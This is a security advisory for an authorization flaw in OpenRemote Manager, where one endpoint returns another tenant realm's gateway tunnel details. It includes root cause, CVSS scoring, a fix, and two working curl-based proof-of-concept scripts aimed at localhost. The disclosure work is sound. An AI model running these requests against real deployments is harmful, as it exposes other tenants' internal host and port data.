All vulnerabilities
GHSA-p5wh-9wx4-w5f3

io.openremote:openremote-manager: Cross-realm gateway tunnel-info disclosure (getGatewayActiveTunnelInfos missing realm scoping)

io.openremote:openremote-manager
CVSS
5.0Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in1.31.0Fixed versionGitHub
Published8 Oct 2026Updated 8 Oct 2026GitHub

What fixes it

  • 1.31.0 io.openremote:openremote-manager, mavenGitHub

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

OPENREMOTE-003 — Cross-realm gateway tunnel-info disclosure (getGatewayActiveTunnelInfos)

Summary

The REST endpoint GET /gateway/tunnel/{realm}/{id} (GatewayServiceResourceImpl.getGatewayActiveTunnelInfos) returns the active tunnel information for a gateway identified by the caller-supplied {id} path parameter. For a non-restricted user it validates only that the {realm} path argument equals the caller's own realm (which the attacker trivially satisfies by passing their own realm) and then calls gatewayService.getGatewayTunnelInfos(gatewayId), which filters the tunnel set **only by gatewayId and not by realm**. As a result, any authenticated user in realm A who knows a gateway asset ID located in another realm B receives realm B's active tunnel information (internal target host/port and gateway routing data), crossing the tenant isolation boundary.

The two sibling endpoints handle this correctly: getAllActiveTunnelInfos and getActiveTunnelInfo both additionally filter tunnel.getRealm().equals(realm). Only getGatewayActiveTunnelInfos omits the realm predicate — a clear, isolated defect.

CVSS v3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N → Base 5.0 (Medium)

Metric-by-metric:

  • AV:N — network HTTP API.
  • AC:L — single request; no special conditions in the code path itself.
  • PR:L — any authenticated user in some realm. The endpoint has **no

@RolesAllowed** (unlike its read:admin-gated sibling), so even a low-privilege authenticated user qualifies; the impl only checks isAuthenticated() + realm == own realm (+ isUserAsset for restricted users).

  • UI:N — none.
  • S:C — data belongs to a different realm's security authority than the caller's.
  • C:L — leaks gateway tunnel metadata (target host, target port, gateway ID,

auto-close/expiry) for another realm; sensitive but bounded to tunnel routing info.

  • I:N / A:N — read-only.

*Precondition caveat:* the attacker must know or guess a gateway asset ID in the victim realm (22-char random identifier). This raises practical difficulty but does not change the fact that the realm-scoping control present in the sibling methods is missing here; the leak is real once an ID is known (IDs appear in logs, exports, shared UI links, or a co-tenant relationship).

CWE

  • CWE-639: Authorization Bypass Through User-Controlled Key
  • CWE-284: Improper Access Control

Affected component

  • manager/src/main/java/org/openremote/manager/gateway/GatewayServiceResourceImpl.java

getGatewayActiveTunnelInfos (lines 45-64) — missing tunnel.getRealm().equals(realm) filter that the siblings getAllActiveTunnelInfos (line 41) and getActiveTunnelInfo (line 85) apply.

  • manager/src/main/java/org/openremote/manager/gateway/GatewayService.java

getGatewayTunnelInfos(String gatewayID) — filters only by gatewayId, no realm.

  • Interface: model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java:29-33

(@Path("tunnel/{realm}/{id}"), no @RolesAllowed).

  • Commit: HEAD 3dbc182134; present in all releases ≤ 1.26.1.

Reachability

  1. Attacker authenticates as any user in realm A.
  2. Calls GET /api/A/gateway/tunnel/A/{victimGatewayId} where victimGatewayId is a

gateway asset in realm B.

  1. Realm check !isSuperUser() && !getAuthenticatedRealmName().equals(realm) passes

(attacker passed realm=A, their own realm).

  1. isRestrictedUser() && !isUserAsset(...) — for a non-restricted user this branch is

skipped entirely; for restricted users it would block, but a normal realm user is not restricted.

  1. gatewayService.getGatewayTunnelInfos(victimGatewayId) returns realm B's tunnels

for that gateway, unscoped by realm → returned to the realm-A caller.

Root cause

Inconsistent authorization across sibling endpoints: the realm-binding of the returned tunnel set was applied in getAllActiveTunnelInfos/getActiveTunnelInfo but omitted in getGatewayActiveTunnelInfos, which resolves and returns tunnels by a global, caller-supplied gateway ID.

Proof of concept (safe / benign)

#!/usr/bin/env bash
set -euo pipefail
HOST="${HOST:-https://localhost}"; KC="${KC:-https://localhost/auth}"
ATTACKER_REALM="${ATTACKER_REALM:-building}"; USER="${USER_NAME:-building}"; PASS="${PASS:-secret}"
VICTIM_GATEWAY_ID="${VICTIM_GATEWAY_ID:-<gateway asset id in another realm>}"

TOKEN=$(curl -sk -X POST "$KC/realms/$ATTACKER_REALM/protocol/openid-connect/token" \
  -d grant_type=password -d client_id=openremote \
  -d username="$USER" -d password="$PASS" | jq -r .access_token)

# Pass MY realm in the path, but a gateway id that lives in ANOTHER realm:
curl -sk -H "Authorization: Bearer $TOKEN" \
     "$HOST/api/$ATTACKER_REALM/gateway/tunnel/$ATTACKER_REALM/$VICTIM_GATEWAY_ID" | jq .

Expected observable: a non-empty array of GatewayTunnelInfo objects whose realm field is the victim realm B (and whose target/targetPort describe hosts the attacker's realm has no access to), confirming the cross-realm leak. A correctly-scoped endpoint would return an empty array (as getAllActiveTunnelInfos/getActiveTunnelInfo do).

*Static verification note:* confirmed by source comparison against the correctly-scoped sibling methods; not dynamically executed (requires a running multi-realm manager with active gateway tunnels).

Adversarial re-read (what I tried to refute it with)

  • *Does getGatewayTunnelInfos filter by realm somewhere?* No — read the method: it is

getTunnelInfos().stream().filter(t -> t.getGatewayId().equals(gatewayID)). No realm.

  • *Does the {realm} path parameter constrain the returned set?* No — it is only used

in the getAuthenticatedRealmName().equals(realm) guard, not passed to the tunnel lookup. The attacker sets it to their own realm to pass the guard.

  • *Is the endpoint restricted to admins?* No @RolesAllowed at all; broader than the

sibling that carries @RolesAllowed({read:admin}).

  • *Residual doubt:* the attacker must know a victim gateway ID (unguessable 22-char).

This is a real practical barrier, so the finding is bounded to Medium/Moderate, but the missing realm predicate is an objective defect (the siblings have it).

  • Survives as a Moderate cross-realm information-disclosure → CONFIRMED (static),

severity Moderate.

Remediation

Filter the returned tunnels by realm exactly as the siblings do, e.g.:

return Arrays.stream(gatewayService.getGatewayTunnelInfos(gatewayID))
    .filter(tunnel -> tunnel.getRealm().equals(realm))
    .toArray(GatewayTunnelInfo[]::new);

or verify the gateway asset's realm equals the caller's realm before returning, and add a @RolesAllowed constraint consistent with getAllActiveTunnelInfos.

Confidence

High that the realm-scoping control is missing (direct source comparison with the sibling methods); severity Moderate due to the gateway-ID knowledge precondition. STATIC-SUSPECTED (not dynamically executed).

Proof-of-Concept source (or003_gateway_tunnel_idor_poc.sh)

#!/usr/bin/env bash
# PoC for OPENREMOTE-003 — cross-realm gateway tunnel-info disclosure via
# GET /gateway/tunnel/{realm}/{gatewayId}  (getGatewayActiveTunnelInfos).
#
# Precondition: any authenticated, NON-restricted user in a tenant realm A, plus
# knowledge of a gateway asset id that lives in another realm B.
#
# The method validates only that the {realm} path arg == the caller's own realm
# (attacker passes realm=A, which passes), then returns
# gatewayService.getGatewayTunnelInfos(gatewayId), which filters ONLY by gatewayId
# and NOT by realm (GatewayService.java). The sibling methods
# getAllActiveTunnelInfos / getActiveTunnelInfo both additionally filter
# tunnel.getRealm().equals(realm) -- this one omits it. Result: realm-B tunnel infos
# (internal target host/port) leak to a realm-A user.
#
# Local instance only.

set -euo pipefail
HOST="${HOST:-https://localhost}"
KC="${KC:-https://localhost/auth}"
ATTACKER_REALM="${ATTACKER_REALM:-building}"
USER="${USER_NAME:-building}"
PASS="${PASS:-secret}"
VICTIM_GATEWAY_ID="${VICTIM_GATEWAY_ID:-<gateway asset id in another realm>}"

TOKEN=$(curl -sk -X POST \
  "$KC/realms/$ATTACKER_REALM/protocol/openid-connect/token" \
  -d "grant_type=password" -d "client_id=openremote" \
  -d "username=$USER" -d "password=$PASS" | jq -r .access_token)

echo "[*] Requesting tunnel infos for a gateway in ANOTHER realm, passing my OWN realm:"
curl -sk -H "Authorization: Bearer $TOKEN" \
     "$HOST/api/$ATTACKER_REALM/gateway/tunnel/$ATTACKER_REALM/$VICTIM_GATEWAY_ID" | jq .

echo "[+] Non-empty tunnel infos here (target host/port for a gateway you don't own,"
echo "    in a realm you have no access to) confirm the cross-realm leak."

Text from GitHub Advisory Database

Affected versions 1

  • io.openremote:openremote-manager, maven<1.31.0GitHub